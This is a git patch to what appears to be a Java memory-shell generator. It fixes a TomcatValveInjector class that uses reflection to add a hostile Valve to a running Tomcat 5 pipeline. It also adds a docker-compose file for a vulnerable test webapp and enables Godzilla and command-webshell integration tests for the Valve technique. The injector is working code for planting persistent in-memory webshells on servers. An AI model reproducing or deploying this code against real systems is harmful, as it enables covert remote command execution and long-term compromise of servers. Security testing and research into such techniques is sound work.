From e28ddf9972792eba74aabe0420c1dd3f5a985f26 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 9 Dec 2024 01:27:08 +0800 Subject: [PATCH] fix: tomcat5 valve not work --- .../tomcat/injector/TomcatValveInjector.java | 31 +++++++++++-------- .../tomcat/docker-compose-5-jdk6.yaml | 10 ++++++ .../tomcat/Tomcat5ContainerTest.java | 8 ++--- 3 files changed, 32 insertions(+), 17 deletions(-) create mode 100644 integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java index 8523e3c0..688dc2fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java @@ -97,10 +97,7 @@ public class TomcatValveInjector { @SuppressWarnings("all") private Object getValve(Object context) { Object valve = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = context.getClass().getClassLoader(); try { valve = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -163,16 +160,11 @@ public class TomcatValveInjector { return; } try { - Class ValveClass; - try { - ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve"); - } catch (Exception e) { - ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); - } + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); Object obj = invokeMethod(context, "getPipeline"); - // Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT); - // obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve); - invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve}); + invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); } catch (Exception e) { e.printStackTrace(); } @@ -246,4 +238,17 @@ public class TomcatValveInjector { } } } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + for (Thread thread : threads) { + // 适配 v5 的 Class Loader 问题 + if (thread.getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = thread.getContextClassLoader(); + break; + } + } + return catalinaLoader; + } } \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml b/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml new file mode 100644 index 00000000..47990a23 --- /dev/null +++ b/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml @@ -0,0 +1,10 @@ +services: + tomcat66: + image: reajason/tomcat:5-jdk6 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 5bcf7b71..a220208b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -4,9 +4,9 @@ import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -36,9 +36,9 @@ public class Tomcat5ContainerTest { // arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) -// arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,Caused by: java.lang.NoClassDefFoundError: org/apache/catalina/Valve -// arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); }